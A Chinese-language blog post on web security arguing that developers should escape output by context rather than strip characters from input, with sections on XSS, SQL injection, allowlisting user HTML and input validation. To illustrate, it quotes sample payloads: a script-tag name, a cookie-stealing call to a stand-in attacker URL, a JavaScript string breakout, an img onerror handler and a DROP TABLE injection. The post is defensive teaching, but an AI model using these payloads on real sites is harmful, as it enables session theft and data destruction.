不要净化输入,转义输出
每隔一段时间,就会有开发者谈起通过“净化用户输入”来防范跨站脚本攻击。这么做虽然出发点是好的,却会带来虚假的安全感,有时还会把原本正常的输入搞得面目全非。
跨站脚本攻击是如何发生的?
如果用户输入的信息会被网站原样放回到页面的 HTML 中,那么该网站就容易受到跨站脚本(XSS)攻击。这可能引发一些小问题(比如破坏页面布局的 HTML),也可能造成严重后果(比如把用户的登录 Cookie 发送到攻击者网站的 JavaScript)。
我们来看一个具体的例子:
- NaiveSite 允许你输入姓名,并在个人资料页上原样输出。
- 名叫 Billy the Kid 的用户将自己的名字输入为
Billy <script>alert('Hello Bob!')</script>。 - 任何访问 Billy 个人资料页的人,都会在 HTML 中看到未经转义的
script标签,并被浏览器执行。 - 如果把
alert()换成更具恶意的内容,比如sendCookies('https://billy.com/cookie-monster'),Billy 现在就可以窃取毫无防备的访客的登录信息了。
顺带一提:实际情况并没有这么简单,因为登录 Cookie 通常会标记为 HttpOnly,意味着 JavaScript 无法访问。但这是 NaiveSite,很可能他们既犯了 XSS 的错误,也犯了 Cookie 的错误。
为什么过滤输入不是个好主意
开发者听说过“输入过滤”或“净化输入”,于是写了一段代码,在存储姓名前去掉其中不安全的 HTML 字符 <>&。问题解决了!
但这种做法有两个问题。首先,一对夫妇可能会以 Bob & Jane Smith 的名字注册 NaiveSite,但过滤代码去掉了 &,结果 Bob 突然成了孤家寡人,中间名还变成了 Jane。
或者,如果过滤器更严格,连 ' 和 " 也一并去掉,那么像 Bill O’Brien 这样的人就会变成 Bill OBrien。把人名弄错可不是什么好事。
或许更重要的是,它会给人一种虚假的安全感。什么叫“不安全”?在什么上下文中?诚然,<>& 对于 HTML 来说是不安全的字符,但对于 CSS、JSON、SQL 甚至 shell 脚本呢?这些场景下不安全字符的集合完全不同。
例如,NaiveSite 可能有一个如下所示的 PHP 模板:
<html>
...
<script>
var name = "<?=$name?>";
</script>如果攻击者将自己的名字设为包含双引号的内容,比如 "; badFunc(); ",他就能在任何显示用户名的 NaiveSite 页面上执行任意 JavaScript(如果你已登录,可能所有页面都会显示用户名)。
这类问题的另一个例子是 SQL 注入,这是一种与跨站脚本密切相关的攻击。NaiveSite 由 MySQL 驱动,它会像这样查找用户:
$query = "SELECT * FROM users WHERE name = '{$name}'"当一个名叫Robert'); DROP TABLE users; 的男孩出现时,NaiveSite 的整个用户数据库就被删除了。糟糕!
顺便说一下,xkcd 漫画中的那位母亲说:“希望你已经学会了净化数据库输入。”这句话多少有些令人困惑,但我愿意相信 Randall 的本意是指“转义数据库参数”。
简而言之,去掉“危险字符”并不是好办法,因为有些字符在某些上下文中是危险的,在另一些上下文中却完全安全。
转而转义你的输出
只有在特定上下文中负责输出的代码,才知道哪些字符是危险的。
因此,更好的做法是原样存储用户输入的任何名字,然后在输出 HTML 时由模板系统进行 HTML 转义,或在输出 JSON 和 JavaScript 时进行正确的 JSON 转义。
当然,还要使用 SQL 引擎的参数化查询功能,让它在构建 SQL 时正确地转义变量:
$stmt = $db->prepare('SELECT * FROM users WHERE name = ?');
$stmt->bind_param('s', $name);这种做法有时被称为“上下文转义”。如果你恰好使用 Go 的 html/template 包,就能自动获得针对 HTML、CSS 和 JavaScript 的上下文转义。大多数其他模板系统至少也提供了自动的 HTML 转义,例如 React、Jinja2 和 Rails 模板。
但如果你就是想要原始输入呢?
一种棘手的情况是,你的应用本身就是让用户输入 HTML 或 Markdown 来展示。在这种情况下,你在渲染输出时不能进行转义,因为整个目的就是让用户能够添加链接、图片、标题等。
因此你必须采取不同的方法。如果你使用的是 Markdown,你可以:
- 只允许用户输入纯 Markdown,并在渲染时将其转换为 HTML(许多 Markdown 库默认允许原始 HTML,务必将其禁用)。这是最安全的选项,但限制也更多。
- 允许用户在 Markdown 中使用 HTML,但仅限于白名单中的标签和属性,例如
<a href="...">和<img src="...">。Stack Exchange 和 GitHub 都采用了第二种做法。
如果你没有使用 Markdown,而是想让用户直接输入 HTML,那就只有第二种选择——你必须使用白名单进行过滤。这比你想象的更难做对(例如 <img src="x" onerror="badFunc()">),所以一定要使用像 DOMPurify 这样成熟且经过安全审查的库。
因此,在确实需要“原样输出”用户原始输入的情况下,要基于严格的白名单仔细过滤输入,并将结果存入数据库。输出时,则按存储的内容直接输出,无需转义。
与之对应的 SQL 注入场景,可能是你在构建一个允许用户输入任意 SQL 查询的数据图表工具。你可能想允许用户输入 SELECT 查询,但不允许数据修改类的查询。在这种情况下,最好使用一个正规的 SQL 解析器(比如这个)来确保它是格式良好的 SELECT 查询——但要正确实现这一点并不容易,所以一定要进行安全审查。
那验证又如何呢?
输入净化通常不是好主意,但输入验证却是好事。
例如,在解析表单字段时,如果数字字段填的不是数字,或电子邮件地址中没有 @,又或是“文章状态”下拉框只能是 draft、published 或 archived 之一——那么一定要对其进行验证,如果无效就返回错误。
好的 Web 表单验证会在行内显示错误,让用户清楚知道该修正什么:

验证至少必须在后端完成,否则攻击者可以绕过前端验证,直接向你的接口 POST 虚假数据。此外,你也可以在前端提前进行验证,以便更实时地显示错误,而无需往返服务器。
延伸阅读
OWASP 有两份关于跨站脚本防护和SQL 注入防护的速查表,其中包含了大量关于转义的进一步信息。
在 StackOverflow 上还有一个关于“如何用 PHP 净化用户输入?”的回答,虽然有较强的 PHP 针对性,但我觉得它简洁而有帮助。它链接到了关于 PHP 魔术引号的页面,魔术引号是个糟糕的设计,已在 PHP 5.4 中被移除——那里的讨论与本文的观点非常一致。
如果你对本文有任何反馈,欢迎联系我!也可以查看 Hacker News 和 programming reddit 上的评论。
随机一篇博客
评论
登录后参与讨论